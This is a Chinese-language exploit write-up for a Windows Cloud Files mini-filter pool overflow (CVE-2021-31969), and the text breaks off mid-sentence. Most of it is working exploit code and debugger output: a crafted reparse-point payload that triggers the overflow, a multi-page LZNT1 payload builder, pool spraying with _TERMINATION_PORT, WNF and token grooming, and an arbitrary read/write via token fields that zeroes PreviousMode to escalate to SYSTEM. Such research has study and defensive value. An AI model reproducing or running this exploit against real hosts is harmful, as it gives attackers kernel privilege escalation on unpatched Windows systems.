利用受限块大小的内核池溢出实现权限提升(CVE-2021-31969)
引言
内存损坏漏洞的普遍存在持续为利用带来挑战。这种难度的增加源于防御机制的进步和软件系统日益复杂化。虽然基本的概念验证通常足以修补漏洞,但开发能够绕过现有对策的功能性利用程序,为了解高级威胁行为者的能力提供了宝贵见解。这尤其适用于受到严格审查的驱动程序cldflt.sys,自6月以来,每个补丁星期二都持续收到补丁。值得注意的是,它已成为威胁行为者的焦点,紧随对clfs.sys和afd.sys驱动程序的利用。在本文中,我们旨在强调cldflt.sys的重要性,并倡导增加对该驱动程序及其相关组件的研究。
现在转向具体漏洞,CVE-2021-31969最初由于其限制性而显得难以利用。然而,通过操纵分页池,可以将看似孤立的池溢出提升为全面的任意读写场景。此利用授予提升的访问权限,允许以SYSTEM身份获取shell。
描述
Windows Cloud Files Mini Filter Driver权限提升漏洞
受影响版本
- Windows 10 1809-21H2
- Windows Server 2019
补丁差异
操作系统:Windows 10 1809
二进制文件:cldflt.sys
补丁前
版本:KB5003217
哈希:316016b70cd25ad43a0710016c85930616fe85ebd69350386f6b3d3060ec717e
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
v7 = *(_DWORD *)(a1 + 8);
someSize = HIWORD(v7);
if ( !_bittest((const int *)&v7, 0xFu) )
{
*a3 = a1;
return (unsigned int)v3;
}
allocatedSize = someSize + 8;
allocatedMem = ExAllocatePoolWithTag(PagedPool, someSize + 8, 'pRsH');
allocatedMemRef = allocatedMem;
if ( !allocatedMem )
{
LODWORD(v3) = -1073741670;
goto LABEL_3;
}
*(_QWORD *)allocatedMem = *(_QWORD *)a1;
*((_DWORD *)allocatedMem + 2) = *(_DWORD *)(a1 + 8);
v3 = (unsigned int)RtlDecompressBuffer(
COMPRESSION_FORMAT_LZNT1,
(PUCHAR)allocatedMem + 12,// uncompressed_buffer
allocatedSize - 12, // uncompressed_buffer_size
(PUCHAR)(a1 + 12),
a2 - 12,
(PULONG)va);
|
补丁后
版本:KB5003646
哈希:5cef11352c3497b881ac0731e6b2ae4aab6add1e3107df92b2da46b2a61089a9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
someSize = *(_WORD *)(a1 + 10);
if ( someSize >= 4u )
{
if ( (*(_DWORD *)(a1 + 8) & 0x8000) == 0 )
{
*a3 = a1;
return (unsigned int)status;
}
allocatedSize = someSize + 8;
allocatedMem = ExAllocatePoolWithTag(PagedPool, allocatedSize, 'pRsH');
allocatedMemRef = allocatedMem;
if ( !allocatedMem )
{
LODWORD(status) = 0xC000009A;
goto LABEL_3;
}
*(_QWORD *)allocatedMem = *(_QWORD *)a1;
*((_DWORD *)allocatedMem + 2) = *(_DWORD *)(a1 + 8);
status = (unsigned int)RtlDecompressBuffer(
COMPRESSION_FORMAT_LZNT1,
(PUCHAR)allocatedMem + 12,// uncompressed_buffer
allocatedSize - 12,// uncompressed_buffer_size
(PUCHAR)(a1 + 12),
a2 - 12,
(PULONG)va);
|
漏洞分析
引入的补丁包含一个验证机制,以确保变量someSize的最小值为4。
在应用此补丁之前,变量someSize没有4的下限,可能导致变量allocatedSize低于12的情况。因此,有时传递给RtlDecompressBuffer函数的UncompressedBufferSize参数取负值,触发无符号整数下溢,循环绕回0xFFFFFFF4。
根据LZNT1规范,压缩缓冲区中的第一个WORD是标头,包含诸如缓冲区是否压缩及其大小等元数据。
压缩数据包含在单个块中。块标头解释为16位值,为0xB038。位15为1,因此块被压缩;位14至12是正确的签名值(3);位11至0为十进制56,因此块大小为59字节。
由于标头用户可控,可以将缓冲区标记为未压缩。
这导致RtlDecompressBuffer的行为类似于memcpy。
大小和数据用户可控,可能发生受控的分页池溢出。
结构
上面显示的变量a1是REPARSE_DATA_BUFFER类型。
1
2
3
4
5
6
7
8
|
typedef struct _REPARSE_DATA_BUFFER {
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
struct {
UCHAR DataBuffer[1];
} GenericReparseBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;
|
GenericReparseBuffer.DataBuffer包含由过滤器驱动程序设置的自定义数据。
1
2
3
4
5
6
|
struct cstmData
{
WORD flag;
WORD cstmDataSize;
UCHAR compressedBuffer[1];
};
|
第一个WORD是标志,后跟影响池分配的大小,最后是传递给RtlDecompressBuffer的压缩缓冲区。
此数据存储在目录的重解析标记内,并在下面提到的各种条件下被检索和解压缩。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
HsmpRpReadBuffer:
v9 = (unsigned int)FltFsControlFile(
Instance,
FileObject,
FSCTL_GET_REPARSE_POINT,
0i64,
0,
reparseData,
0x4000u,
0i64);
...
status = HsmpRpiDecompressBuffer(reparseData, reparseDataSize, someOut);
|
触发漏洞
在Windows 10 1809的新副本上,迷你过滤器默认未附加到任何驱动器。
需要注册才能附加它。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
HRESULT RegisterAndConnectSyncRoot(LPCWSTR Path, CF_CONNECTION_KEY *Key)
{
HRESULT status = S_OK;
CF_SYNC_REGISTRATION reg = { sizeof(CF_SYNC_REGISTRATION) };
CF_SYNC_POLICIES pol = { sizeof(CF_SYNC_POLICIES) };
CF_CALLBACK_REGISTRATION table[1] = { CF_CALLBACK_REGISTRATION_END };
reg.ProviderName = L"HackProvider";
reg.ProviderVersion = L"99";
pol.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
pol.Population.Primary = CF_POPULATION_POLICY_FULL;
pol.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_CONVERT_TO_UNRESTRICTED;
if ((status = CfRegisterSyncRoot(Path, ®, &pol, 0)) == S_OK)
status = CfConnectSyncRoot(Path, table, 0, CF_CONNECT_FLAG_NONE, Key);
return status;
}
|
现在它将通过其注册的前/后操作处理程序响应文件系统操作。
通过分析处理程序并使用邻近视图进行跟踪,可以找到可能触发解压缩的路径:
诸如将文件转换为占位符、获取(创建)文件句柄或重命名文件等操作可能导致解压缩。
例如,这是在syncroot目录内获取文件句柄时的调用栈:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
4: kd> k
# Child-SP RetAddr Call Site
00 ffff8689`7915cf78 fffff807`5505722b cldflt!HsmpRpiDecompressBuffer
01 ffff8689`7915cf80 fffff807`5503e4b2 cldflt!HsmpRpReadBuffer+0x267
02 ffff8689`7915cff0 fffff807`5505fd29 cldflt!HsmpSetupContexts+0x27a
03 ffff8689`7915d120 fffff807`5505fea9 cldflt!HsmiFltPostECPCREATE+0x47d
04 ffff8689`7915d1c0 fffff807`52a3442e cldflt!HsmFltPostCREATE+0x9
05 ffff8689`7915d1f0 fffff807`52a33cf3 FLTMGR!FltpPerformPostCallbacks+0x32e
14: kd> dt _FILE_OBJECT @rdx
ntdll!_FILE_OBJECT
+0x000 Type : 0n5
+0x002 Size : 0n216
+0x008 DeviceObject : 0xffff8687`c43a8c00 _DEVICE_OBJECT
+0x010 Vpb : 0xffff8687`c43f69a0 _VPB
+0x018 FsContext : 0xffff9985`38f8e6f0 Void
+0x020 FsContext2 : 0xffff9985`36ff4a00 Void
+0x028 SectionObjectPointer : (null)
+0x030 PrivateCacheMap : (null)
+0x038 FinalStatus : 0n0
+0x040 RelatedFileObject : (null)
+0x048 LockOperation : 0 ''
+0x049 DeletePending : 0 ''
+0x04a ReadAccess : 0x1 ''
+0x04b WriteAccess : 0 ''
+0x04c DeleteAccess : 0 ''
+0x04d SharedRead : 0x1 ''
+0x04e SharedWrite : 0x1 ''
+0x04f SharedDelete : 0x1 ''
+0x050 Flags : 0x40002
+0x058 FileName : _UNICODE_STRING "\Windows\Temp\hax\vuln"
+0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
+0x070 Waiters : 0
+0x074 Busy : 1
+0x078 LastLock : (null)
+0x080 Lock : _KEVENT
+0x098 Event : _KEVENT
+0x0b0 CompletionContext : (null)
+0x0b8 IrpListLock : 0
+0x0c0 IrpList : _LIST_ENTRY [ 0xffff8e85`b1dc0910 - 0xffff8e85`b1dc0910 ]
+0x0d0 FileObjectExtension : (null)
|
这意味着我们可以将任意重解析数据写入syncroot内创建的目录,并获取其句柄以触发池溢出。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
CreateDirectoryW(OverwriteDir, NULL);
hOverwrite = CreateFileW(
OverwriteDir,
GENERIC_ALL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
NULL
);
status = DeviceIoControl(
hOverwrite,
FSCTL_SET_REPARSE_POINT_EX,
newReparseData,
newSize,
NULL,
0,
&returned,
NULL
);
CloseHandle(hOverWrite);
// Trigger Bug
hOverwrite = CreateFileW(
OverwriteDir,
GENERIC_ALL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
NULL
);
|
使用FSCTL_SET_REPARSE_POINT_EX是因为驱动程序为FSCTL_SET_REPARSE_POINT注册了一个前操作处理程序,该处理程序拒绝我们的请求。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
if ( v2->Parameters.FileSystemControl.Buffered.InputBufferLength >= 4
&& (Context && (*(_DWORD *)(*((_QWORD *)Context + 2) + 0x1Ci64) & 1) != 0
|| (*(_DWORD *)v2->Parameters.FileSystemControl.Buffered.SystemBuffer & 0xFFFF0FFF) == dword_1E4F0) )
{
if ( Context )
{
v3 = *((_QWORD *)Context + 2);
v4 = *(_QWORD *)(*(_QWORD *)(v3 + 16) + 32i64);
}
HsmDbgBreakOnStatus(0xC000CF18);
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
&& (HIDWORD(WPP_GLOBAL_Control->Timer) & 1) != 0
&& BYTE1(WPP_GLOBAL_Control->Timer) >= 2u )
{
WPP_SF_qqqd(
WPP_GLOBAL_Control->AttachedDevice,
17i64,
&WPP_7c63b6f3d9f33043309d9f605c648752_Traceguids,
Context,
v3,
v4,
0xC000CF18);
}
a1->IoStatus.Information = 0i64;
v7 = 4;
a1->IoStatus.Status = 0xC000CF18;
}
|
检查在于(*(_DWORD )(((_QWORD *)Context + 2) + 0x1Ci64) & 1) != 0。
上下文不受用户控制,因此此调用将始终失败。
如上所述,我们可以控制压缩缓冲区内容,使RtlDecompressBuffer的行为类似于memcpy。
1
2
3
4
5
|
// controlled size, controlled content overflow!
*(WORD *)&payload[0] = 0x8000; // pass flag check
*(WORD *)&payload[2] = 0x0; // size to trigger underflow
*(WORD *)&payload[4] = 0x30-1; // lznt1 header: uncompressed, 0x30 size
memset(&payload[6], 'B', 0x100);
|
此特定重解析缓冲区导致在分页池中分配0x20大小的块。
1
2
3
4
5
6
7
8
9
10
11
|
1: kd> !pool @rax
Pool page ffff9f0ab3547090 region is Paged pool
ffff9f0ab3547000 size: 60 previous size: 0 (Free) ....
ffff9f0ab3547060 size: 20 previous size: 0 (Allocated) Via2
*ffff9f0ab3547080 size: 20 previous size: 0 (Allocated) *HsRp
Owning component : Unknown (update pooltag.txt)
ffff9f0ab35470a0 size: 20 previous size: 0 (Allocated) Ntfo
ffff9f0ab35470c0 size: 20 previous size: 0 (Allocated) ObNm
ffff9f0ab35470e0 size: 20 previous size: 0 (Allocated) PsJb
ffff9f0ab3547100 size: 20 previous size: 0 (Allocated) VdPN
ffff9f0ab3547120 size: 20 previous size: 0 (Allocated) Via2
|
然而,精心制作的LZNT1标头将导致0x30个’B’被复制到内存中,从池分配的0xC偏移开始,该分配只能容纳0x10字节的用户数据,因此导致0x2C字节的溢出,损坏相邻块并最终导致BSOD。
1
2
3
4
5
6
7
8
9
10
11
12
|
4: kd> g
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x0000007e
(0xFFFFFFFFC0000005,0xFFFFF804044ED09A,0xFFFFDA8F76595748,0xFFFFDA8F76594F90)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
|
溢出内容和大小完全受我们控制,而分配的块固定为0x20字节。
限制
我们只有一次溢出机会,因此我们希望有一个可以执行读写操作的对象。
在现代Windows上,如果低碎片堆(LFH)处于活动状态,则小于0x200字节的池分配由其管理。对于像0x20这样的常见大小,其LFH桶在利用开始时无疑已被激活。在LFH的控制下,易受攻击的块将仅定位在同一桶中其他0x20大小块的相邻位置,这防止了通过溢出到像WNF这样的相邻强大对象来改进原语的简单方法。此外,找到一个0x20大小的对象来实现任意读写是困难的,因为0x20大小的分配只能真正容纳0x10字节的数据。
改进原语
在继续进行利用之前,充分理解手头的原语非常重要。对于涉及探索其最大可能大小的溢出。
尽管看起来我们可以在LZNT1标头中指定的最大大小仅为0xFFF,但这仅适用于一个压缩块。
1
2
3
4
5
|
typedef struct
{
WORD Size;
BYTE Data[4096];
} LZNT1Chunk;
|
上面的每个结构描述一个页面大小的块。
通过分配多个结构,我们可以使用RtlDecompressBuffer写入最多0xFFFFFFFF字节。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
void CreatePayload(PBYTE *CreatedPayload)
{
WORD *payload = NULL;
LZNT1Chunk *buf = NULL;
DWORD remaining = OVERFLOW_SIZE;
DWORD pagesToOverflow = 0;
DWORD effectiveSize = 0;
pagesToOverflow = (remaining % PAGE_SIZE) ? (remaining / PAGE_SIZE) + 1 : (remaining / PAGE_SIZE);
payload = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(LZNT1Chunk) * pagesToOverflow + 4); // metadata
if (!payload) {
printf("[-] HeapAlloc fail: 0x%08X\n", GetLastError());
return;
}
payload[0] = 0x8000; // pass flag check
payload[1] = 0; // trigger integer underflow
buf = (ULONG64)payload + 4;
for (int i = 0; i < pagesToOverflow; i++) {
if (remaining >= PAGE_SIZE)
buf[i].Size = PAGE_SIZE - 1;
else
buf[i].Size = remaining - 1;
effectiveSize = buf[i].Size + 1;
for (int j = 0; j < effectiveSize / sizeof(DWORD); j++)
((DWORD *)(&buf[i].Data))[j] = PAGE_SIZE; // spray 0x1000 values
remaining -= PAGE_SIZE;
}
*CreatedPayload = payload;
return;
}
|
但是,回想一下HsmpRpReadBuffer函数仅检索最多0x4000字节的重解析数据,包括标头。这给我们留下了最多不到4页的溢出空间。
利用思路
唯一的逻辑方法仍然是溢出到一个授予我们更多控制权的对象,该对象可能是另一种大小。凭借大约4页的数据要写入,也许我们可以完全写入LFH之外?也许写入另一个子段?
通过在分页池中分配大量0x20块,我们可以耗尽当前所有可用的0x20 LFH桶。当这种情况发生时,后端分配器为一些新的LFH桶分配一个新段。
同时,我们在同一页面中相邻分配大量_WNF_STATE_DATA和_TOKEN对象。这有望耗尽当前所有可用的VS子段,强制前端分配器分配新的VS子段。
不同的子段类型(LFH/VS)可以在池内存中连续。这意味着如果我们幸运(并喷洒足够),我们可以在内存中得到一个与VS子段相邻的LFH桶。
如果受害块和VS子段之间有少于4页的LFH桶,我们可以溢出到VS子段并获得对驻留在那里的WNF和TOKEN对象的控制。
溢出数据将由值为0x1000的DWORD组成。目标是覆盖_WNF_STATE_DATA->AllocatedSize和_WNF_STATE_DATA->DataSize为0x1000,给我们相对的页面读写原语,我们将使用它来操作紧随其后的_TOKEN对象。
LFH池喷洒
存在一个名为_TERMINATION_PORT的对象,它导致0x20大小的分配,并且可以自由分配。
1
2
3
4
5
6
|
//0x10 bytes (sizeof)
struct _TERMINATION_PORT
{
struct _TERMINATION_PORT* Next; //0x0
VOID* Port; //0x8
};
|
通过调用NtRegisterThreadTerminatePort与ALPC(LPC)端口对象,我们可以在分页池中分配_TERMINATION_PORT的实例。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
void SprayTerminationPort(DWORD *Count)
{
ALPC_PORT_ATTRIBUTES alpcAttr = { 0 };
OBJECT_ATTRIBUTES objAttr = { 0 };
HANDLE hConnPort = NULL;
UNICODE_STRING uPortName = { 0 };
NTSTATUS status = STATUS_SUCCESS;
RtlInitUnicodeString(&uPortName, L"\\RPC Control\\My ALPC Test Port");
InitializeObjectAttributes(&objAttr, &uPortName, 0, NULL, NULL);
alpcAttr.MaxMessageLength = AlpcMaxAllowedMessageLength();
status = NtAlpcCreatePort(&hConnPort, &objAttr, &alpcAttr);
if (!NT_SUCCESS(status)) {
printf("[-] NtAlpcCreatePort Error: 0x%08X\n", status);
return;
}
for (int i = 0; i < *Count; i++)
NtRegisterThreadTerminatePort(hConnPort);
printf("[+] Sprayed 0x%lx _TERMINATION_PORT objects\n", *Count);
g_TerminationPortSprayDone = 1;
while (!g_FreeTerminationPortObjects)
Sleep(1500);
return;
}
|
此对象将标记到当前线程的_ETHREAD对象上,并在线程终止时释放。
溢出后
执行受控溢出的所有步骤如上所述。假设我们已成功溢出到VS子段,下一步是什么?
如果我们在完成溢出时操作系统尚未崩溃,那是个好迹象。这至少意味着我们没有写入未映射的内存。通过查询所有WNF块,我们可以找到成功覆盖的块。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
int WnfFindUsableCorruptedChunk(DWORD WnfObjectSize)
{
WNF_CHANGE_STAMP stamp = 0;
BYTE buf[PAGE_SIZE];
DWORD bufSize = WnfObjectSize;
DWORD wnfToTokenOffset = WnfObjectSize + 0x50;
NTSTATUS status = STATUS_SUCCESS;
for (int i = 0; i < g_WnfCount; i++) {
status = NtQueryWnfStateData(&g_Statenames[i], NULL, NULL, &stamp, &buf, &bufSize);
bufSize = WnfObjectSize;
if (status != STATUS_BUFFER_TOO_SMALL)
continue;
printf("[*] Found corrupted chunk: 0x%lx\n", i);
bufSize = PAGE_SIZE;
status = NtQueryWnfStateData(&g_Statenames[i], NULL, NULL, &stamp, &buf, &bufSize);
if (!NT_SUCCESS(status)) {
puts("something weird");
printf("0x%08X\n", status);
continue;
}
if (*(DWORD *)((ULONG64)buf + wnfToTokenOffset) == 0x1000)
continue;
printf("[*] Found usable chunk: 0x%lx\n", i);
return i;
}
return -1;
}
|
首先使用初始分配的DataSize执行查询。未溢出的对象将无错误响应,但DataSize已扩大到0x1000的对象将返回STATUS_BUFFER_TOO_SMALL。
现在我们检查是否能够使用此对象进行利用。
标准是其后有一个未触及的_TOKEN对象。
要通过句柄识别目标_TOKEN对象,我们可以在喷洒之前分配两个数组来存储所有句柄和ID。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
BOOL TokenAllocateObject(void)
{
BOOL status = TRUE;
HANDLE hOriginal = NULL;
DWORD returnLen = 0;
TOKEN_STATISTICS stats = { 0 };
status = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hOriginal);
if (!status) {
printf("[-] OpenProcessToken fail: 0x%08x\n", GetLastError());
hOriginal = NULL;
goto out;
}
// Allocates a _TOKEN object in kernel pool
status = DuplicateTokenEx(hOriginal, MAXIMUM_ALLOWED, NULL, SECURITY_ANONYMOUS, TokenPrimary, &g_Tokens[g_TokenCount]);
if (!status) {
printf("[-] DuplicateTokenEx fail: 0x%08x\n", GetLastError());
status = FALSE;
goto out;
}
status = GetTokenInformation(g_Tokens[g_TokenCount], TokenStatistics, &stats, sizeof(TOKEN_STATISTICS), &returnLen);
if (!status) {
printf("[-] GetTokenInformation fail: 0x%08x\n", GetLastError());
status = FALSE;
goto out;
}
g_TokenIds[g_TokenCount] = stats.TokenId.LowPart; // High part is always 0
g_TokenCount++;
out:
if (hOriginal)
CloseHandle(hOriginal);
return status;
}
|
使用WNF的相对读取允许我们提取池内存中的TokenId成员并识别其对应的句柄。
任意读写
_TOKEN对象包含许多我们可以修改的指针,以使用Win32 API获得任意读写。
任意读取
NtQueryInformationToken:
1
2
3
4
5
6
7
8
9
10
11
|
case TokenBnoIsolation:
}
if ( Token->BnoIsolationHandlesEntry )
{
*((_BYTE *)TokenInformation + 8) = 1;
*(_QWORD *)TokenInformation = (char *)TokenInformation + 16;
memmove(
(char *)TokenInformation + 16,
Token->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.Buffer,
Token->BnoIsolationHandlesEntry->EntryDescriptor.IsolationPrefix.MaximumLength);
}
|
通过将Token->BnoIsolationHandlesEntry设置为用户模式缓冲区,我们可以伪造EntryDescriptor.IsolationPrefix.Buffer和EntryDescriptor.IsolationPrefix.MaximumLength的字段。
数据将被复制到TokenInformation + 16,这是我们提供给API的另一个用户模式缓冲区。
任意写入
NtSetInformationToken:
如果我们指定TokenDefaultDacl作为TokenInformationClass,此函数会调用SepAppendDefaultDacl
1
2
3
4
5
6
7
8
9
10
11
12
13
|
void *__fastcall SepAppendDefaultDacl(_TOKEN *Token, unsigned __int16 *UserBuffer)
{
int v3; // edi
_ACL *v4; // rbx
void *result; // rax
v3 = UserBuffer[1];
v4 = (_ACL *)&Token->DynamicPart[*(unsigned __int8 *)(Token->PrimaryGroup + 1) + 2];
result = memmove(v4, UserBuffer, UserBuffer[1]);
Token->DynamicAvailable -= v3;
Token->DefaultDacl = v4;
return result;
}
|
通过将Token->PrimaryGroup指向包含null的内存的一个字节前,我们可以使*(unsigned __int8 *)(Token->PrimaryGroup + 1) + 2等于2。
我们不能使其为0,因为它是一个无符号字节操作零扩展到64位,如汇编所示:
1
2
3
4
|
movzx r8d, byte ptr [rax+1]
mov rax, [rcx+0B0h]
add rax, 8
lea rbx, [rax+r8*4]
|
然后我们可以将DynamicPart设置为任意地址 - 0x8并获得任意写入。
不过有一个问题。
DynamicPart和PrimaryGroup应指向相同的地址,否则会有不需要的memmove损坏内存。
1
2
3
4
5
6
7
8
9
|
SepFreeDefaultDacl:
DynamicPart = TokenObject->DynamicPart;
PrimaryGroup = (unsigned __int8 *)TokenObject->PrimaryGroup;
if ( DynamicPart != (unsigned int *)PrimaryGroup )
{
memmove(DynamicPart, PrimaryGroup, 4i64 * PrimaryGroup[1] + 8);
result = (__int64)TokenObject->DynamicPart;
TokenObject->PrimaryGroup = result;
}
|
为了使事情更具限制性,用作大小字段的UserBuffer[1]也必须至少为0x8,这意味着大小字段将破坏写入目标的两个字节。
UserBuffer也被转换为ACL,并且必须通过ACL检查。
1
2
3
4
5
6
7
8
9
|
//0x8 bytes (sizeof)
struct _ACL
{
UCHAR AclRevision; //0x0
UCHAR Sbz1; //0x1
USHORT AclSize; //0x2
USHORT AceCount; //0x4
USHORT Sbz2; //0x6
};
|
这将AclRevision成员的值限制在2和4之间。
1
|
if ( (unsigned __int8)(Acl->AclRevision - 2) <= 2u )
|
AclCount也应为0以绕过进一步检查。
最终写入的缓冲区应如下所示:
1
2
|
0x2 0x0 0x8 0x0 0x0 0x0 0x0 0x0
Rev Sbz1 Sz-1 Sz-2 Cnt-1 Cnt-2 Sbz2-1 Sbz2-2
|
这不是一个很好的原语,但由于该区域自然发生的内存布局,应该仍然允许我们清零利用线程的PreviousMode字段。
更具体地说,我们可以将DynamicPart和PrimaryGroup都指向_KTHREAD+0x229。
1
2
3
4
5
6
7
8
9
|
5: kd> dq 0xffffb186051c8378-0x2f8+0x229
ffffb186`051c82a9 00000000`000000ff 40010000`00090100
ffffb186`051c82b9 ff000000`00000000 00000000`000000ff
ffffb186`051c82c9 05000000`0f010000 00000000`00000000
ffffb186`051c82d9 00000000`00000000 00000000`00000000
ffffb186`051c82e9 00000000`00000000 00000000`00000000
ffffb186`051c82f9 00000000`00000000 12000000`00100000
ffffb186`051c8309 80000000`00065800 00ffffb1`86051c80
ffffb186`051c8319 00000000`00000000 70000000`00000000
|
PrimaryGroup+1然后将指向null,将假ACL复制到_KTHREAD+0x2b1,并允许Sbz1的0x0覆盖PreviousMode。
这有一个副作用,将线程的BasePriority设置为0x8(THREAD_PRIORITY_BELOW_NORMAL),这并不太糟糕。
凭借任意读取和一旦定位到PreviousMode就将其清零的能力,最大的障碍已经克服。所有需要的是找到利用线程的PreviousMode成员的地址。
狩猎EPROCESS
大多数提升技术,包括此技术,要求我们在内核内存中定位EPROCESS结构。一旦我们定位到任意EPROCESS,我们就可以通过其ActiveProcessLinks成员来狩猎利用进程以及系统进程。
在Windows 11 Build 25915之前的Windows版本上,我们可以使用众所周知的NtQuery* API来泄漏内核地址,包括我们自己的EPROCESS地址。
由于这很快将不再有效,并且我们已经有一个灵活的任意读取原语,我正在寻找其他方法来泄漏EPROCESS地址。
有许多方法可以泄漏EPROCESS,例如读取PsInitialSystemProcess全局变量或暴力破解内核地址空间。
我将展示从已知_TOKEN对象泄漏EPROCESS地址的快捷方式。
在浏览我们已经可以从WNF相对读取泄漏的_TOKEN对象成员时,我们可以找到一个SessionObject成员,它指向驻留在非分页0xB0 LFH桶中的块。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
12: kd> !pool 0xffff9788`30cf3bd0
Pool page ffff978830cf3bd0 region is Nonpaged pool
ffff978830cf3000 size: 50 previous size: 0 (Free) ....
ffff978830cf3050 size: b0 previous size: 0 (Allocated) AlIn
ffff978830cf3100 size: b0 previous size: 0 (Allocated) Filt
ffff978830cf31b0 size: b0 previous size: 0 (Allocated) Usfl
ffff978830cf3260 size: b0 previous size: 0 (Allocated) Usfl
ffff978830cf3310 size: b0 previous size: 0 (Allocated) Usfl
ffff978830cf33c0 size: b0 previous size: 0 (Allocated) inte
ffff978830cf3470 size: b0 previous size: 0 (Allocated) WPLg
ffff978830cf3520 size: b0 previous size: 0 (Allocated) ExTm
ffff978830cf35d0 size: b0 previous size: 0 (Allocated) Usfl
ffff978830cf3680 size: b0 previous size: 0 (Allocated) ExTm
ffff978830cf3730 size: b0 previous size: 0 (Allocated) ExTm
ffff978830cf37e0 size: b0 previous size: 0 (Allocated) inte
ffff978830cf3890 size: b0 previous size: 0 (Allocated) ITrk
ffff978830cf3940 size: b0 previous size: 0 (Allocated) ExTm
ffff978830cf39f0 size: b0 previous size: 0 (Allocated) inte
ffff978830cf3aa0 size: b0 previous size: 0 (Allocated) inte
*ffff978830cf3b50 size: b0 previous size: 0 (Allocated) *Sess
Owning component : Unknown (update pooltag.txt)
ffff978830cf3c00 size: b0 previous size: 0 (Allocated) Filt
ffff978830cf3cb0 size: b0 previous size: 0 (Allocated) MmMl
ffff978830cf3d60 size: b0 previous size: 0 (Allocated) PFXM
ffff978830cf3e10 size: b0 previous size: 0 (Allocated) inte
ffff978830cf3ec0 size: b0 previous size: 0 (Allocated) inte
|
如果我们浏览其周围的池分配,我们可以找到许多标记为AlIn的分配。
1
2
|
12: kd> !pool 0xffff9788`30cf4000
Pool page f
|